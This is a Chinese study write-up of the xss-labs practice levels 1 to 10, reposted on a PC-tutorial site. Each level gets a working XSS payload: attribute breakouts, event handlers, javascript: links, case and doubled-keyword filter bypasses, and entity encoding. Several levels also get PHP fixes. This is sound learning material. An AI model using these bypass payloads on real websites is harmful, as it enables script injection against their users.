xss-labs 通关学习笔记
时间：2020-08-20来源：www.pcxitongcheng.com作者：电脑系统城
我们进入到这个页面之后，快速关注到几个点，Xss注重的输入点，这里的输入点首先在URL栏中找到了name值，Payload检测了该值的长度，所以我们接下来的所有动作都在这个地方进行。
我们翻开源码发现
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2>
<center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3>
</body>
我们可以对name熟悉做手脚，试构造Payload：
name=<script>alert(/xss/)</script>
修复建议
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
从源码中可以看出问题出自$str = $_GET["name"];,将用户输入的内容原样输出了
$str = htmlspecialchars($_GET["name"] , ENT_QUOTES);
使用 htmlspecialchars函数转为HTML实体，留意第二个参数不要忘了！后续的许多源码与这里同一个道理，具体的在做解释！
level2
本题题面看不出区别，但是HTML就有所构造不同了
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和<>test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<>test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:6</h3></body>
没错，后台使用了函数对<>进行了HTML实体，不过我们也还是发现了一个点！
<input name=keyword value="<>test">
input输入点，没错后端在搜索后是保留搜索的关键字内容，所有这就是缺洞！
"><script>alert(1)</script><"
Payload完美的闭合了input标签
<input name=keyword value=""><script>alert(1)</script><"">
level3
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和<>test相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='<>test'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:6</h3></body>
这里将level2的漏给堵上了！我们从<>可以得知后端是利用htmlspecialchars函数转为HTML实体编码后输出的，但我们在level1的时候说了htmlspecialchars存在一种开发手误，就是后端开发忘记了设置函数的第二参数导致“会转换双引号，不转换单引号”
ps:这里的input标签中的属性使用的单引号，所以我们的Payload才可以成功！
' onclick=alert(1) '
<input name=keyword value='' onclick=alert(1) ''>
这里有一点比较有趣，就是onclick这个属性；我们都知道输入框输入之后，保留输入内容，而我们的onclick就会保留在input标签中，而触发条件需要我们单击输入框。
level4
发生了一个比较玄学的东西，我们再来瞅瞅HTML源码
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和<>text相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="text">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:4</h3></body>
<input name=keyword value="text">没错，我们输入的两个尖括号消失了；而且input标签采用了双引号，level3的方法也是行不通的！不过我还是“多此一举”的使用双引号
" onclick=alert(1) "
没想到！成功了！看样子后端没有HTML实体编码！
level5
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和<script></srcipt> ' " test相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="<scr_ipt></srcipt> ' " test">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:27</h3></body>
综合了几个不同的payload特性测试了level5的过滤方式，发现在<h2>标签使用了HTML实体编码，在<input>标签则没有使用HTML实体编码而是做了些过滤删改“ 对script转为scr_ipt ”，后续测试发现 “onclick =》 o_click”，双写、大小写混合等方式均失败！
绕过的策略就是避开他拉黑的函数，使用其它的方式触发！其它事件属性测试后发现没有效果，都被加了下划线隔开了！可见事件触发式不行的了！
另辟蹊径~我们……使用a标签去绕过对scrip标签的检查和事件属性的检测
"><a href="javascript:alert(/xss/)">alert</a> <"
level6
<body>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和<script> <a> href \ " ' alert相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="<scr_ipt> <a> hr_ef \ " ' alert">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:32</h3></body>
可以发现，对上一关的 href 做了过滤隔开！测了上前五关的payload，然后使用双写、大小写方式绕过：
"><a HREf="javascript:alert(/xss/)">alert</a> <"
level7
<body>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和<script> <a> href \ " ' alert相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="<> <a> \ " ' alert">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:20</h3></body>
这里可以看出简单粗暴的处理方式，直接将敏感内容为空了！然后使用双写、大小写方式绕过：
"><a hrehreff="javascripscriptt:alert(/xss/)">alert</a> <"
level6：没有对输入变量进行统一小写/大写转换，应该添加
strtolower函数统一小写，便于以下操作：$str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);level7：必须注意
str_replace函数，该函数只对字符串进行一次查找并全部替换、大小写敏感；解决方法就是将替换后的字符串再一次作为替换源进行替换。$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
level8
可以看出，这里的输入内容是一个超链接！
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="<><script>onclick ' " / alert herf ">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<><scr_ipt>o_nclick ' " / alert herf ">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:41</h3></body>
第一时间想到了 javascript:alert(xss) ，但是发现 script 被分割了！
通过前辈的思路，学来了编码绕过…… HTML编码 >> 照例解析 >> 输出HTML代码(我们输入的HTML编码 输出的则是代码，HTML实体编码在HTML页面会被解析而在后端看不到)
javascript:alert(/xss/)
javascript:alert(/xss/)
level9
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法？有没有！">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:138</h3></body>
使用level8-payload测试，发现如上！推测后端对我们的输入内容进行了检测！
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
后端检测了字符串中是否有“http://”，我们需要在合适的地方插入它：
javascript:alert('http://')
level10
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和<><script> onclick ' " /相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:24</h3></body>
keyword值被HTML实体编码了，没有利用的必要了，也没有闭合的可能！
关注三个被隐藏的input标签：?keyword=test&t_link=test&t_history&t_sort=test
只有t_sort这个参数有了效果，构造：
" onclick=alert(/xss/) type="text" ><
?keyword=test&t_sort=" onclick=alert(/xss/) type="text" ><
<input name="t_sort" value="" onclick=alert(/xss/) type="text" " type="hidden">
ok~~~
相关信息
-
-
-
2024-04-11
台式机电脑如何连接外接显示器 -
2024-04-11
小新系列打印机手机配置网络的方法教程 -
2024-04-11
Thinkpad 笔记本F1-F12快捷键分别是什么功能
-
-
ThinkPad蓝牙鼠标如何配对ThinkPad蓝牙鼠标如何配对解答步骤41U5008鼠标驱动官网地址： https://support.lenovo.com/en_US/downloads/detail.page?&LegacyDocID=MIGR-67201 第一种方式是比较传统的：使...
2024-04-11
-
USB接口无法识别设备的解决方法故障现象: USB设备U盘、移动硬盘等插入后提示无法识别的设备，确认设备本身正常，设备可加电，或插入设备后加电但无任何反应，无法使用。新型号机器多表现为黄色USB接口存在此问题，...
2024-04-11
热门系统总排行
- 4754次 1 雨林木风Win10专业版64位纯净版系统官方下载
- 3784次 2 电脑公司ghost win7 64位纯净专业版v2019.08
- 2502次 3 Win11官方最新版系统下载_Ghost Win11 22000.434(KB5009566)专业免激活版下载
- 2324次 4 深度技术 GHOST WIN10 X64 纯净版 V2019.09（64位）
- 1882次 5 电脑系统城ghost win7 sp132位 经典标准版 V2019.11
- 1794次 6 电脑公司 GHOST XP SP3 安全稳定纯净版 V2019.08
- 1733次 7 电脑公司ghost win7 32位精简旗舰版v2019.08
- 1700次 8 电脑公司 GHOST WIN10 X64 正式专业版 V2019.09（64位）
系统教程栏目
栏目热门教程
- 19982次 1 打印机显示休眠不打印怎么办 打印机深度休眠不打印解决方法
- 15456次 2 安装惠普打印机出现“新设备现已连接”一直不动怎么办？
- 14675次 3 打印机打印显示发送传真怎么办 为什么点打印出来发送传真
- 13891次 4 怎么用手机号查快递详细教程
- 13605次 5 qq群文件下载位置详情
- 12705次 6 富士施乐 DocuCentre S2011 双面打印设置方法
- 12525次 7 蓝牙耳机长按无反应怎么办 蓝牙耳机长按灯不亮的处理方法
- 10791次 8 拯救者Y7000如何使用录屏功能
- 10366次 9 由于找不到vcruntime140.dll无法继续执行代码的解决方法
- 10132次 10 按Fn+Q后无反应、无图标显示的解决方案
人气教程排行
- 56679次 1 联想笔记本进入bios的三种方法 联想笔记本怎么进入bios
- 51285次 2 打印机为什么打印出来是黑的_打印出来纸张表面黑的解决方法
- 39166次 3 笔记本电脑序列号在哪|笔记本电脑序列号怎么看
- 32783次 4 对于目标文件系统文件过大无法复制到u盘怎么解决方法
- 31658次 5 键盘全部按键没反应的解决方法 键盘被锁住按什么键恢复
- 30927次 6 键盘win键无效的解决办法 电脑win键失效怎么办?
- 30837次 7 mac连上wifi却上不了网如何解决 网络没问题但mac无法上网怎么办
- 27301次 8 小马激活工具 Win10正版激活 一键完美激活Win10_小编亲测
- 26439次 9 win7旗舰版激活密钥大全
- 25426次 10 电脑免费的加速器有哪些 永久免费的四款加速器推荐
站长推荐
- 12747次 1 Win11怎么激活？Win11系统永久激活方法汇总(附激活码)
- 6277次 2 联想拯救者win10一键恢复如何使用_联想win10一键还原孔使用方法
- 5819次 3 如何用u盘装系统？用系统城U盘启动制作盘安装Win10系统教程
- 5116次 4 怎么在u盘pe下给电脑系统安装ahci驱动
- 4682次 5 联想电脑开机出现PXE-MOF:Exiting Intel PXE ROM怎么解决
- 3948次 6 华硕笔记本bios utility ez mode设置图解以及切换成传统bios界面方法华硕笔记本bios utility ez mode设置图解以及切换成传统bios界面方法
- 3173次 7 win10怎么改为uefi启动_win10系统设置uefi启动模式的方法
- 1926次 8 CentOS 8 系统图形化安装教程（超详细）
- 1876次 9 win10系统下检测不到独立显卡如何解决
- 1850次 10 VMware中安装Linux系统（Redhat8）及虚拟机的网络配置方法
热门系统下载
- 4754次 1 雨林木风Win10专业版64位纯净版系统官方下载
- 4626次 2 Windows Server 2019 官方原版系统64位系统下载
- 4322次 3 网吧游戏专用Win7 Sp1 64位免激活旗舰版 V2021.05
- 4248次 4 Windows Server 2008 简体中文官方原版32位系统下载
- 3944次 5 Windows Server 2008 R2 简体中文官方原版64位系统下载
- 3784次 6 电脑公司ghost win7 64位纯净专业版v2019.08
- 3617次 7 电脑公司ghost win10 64位游戏专用精简网吧版v2020.05
- 3569次 8 Windows Server 2012 R2 官方原版系统64位系统下载
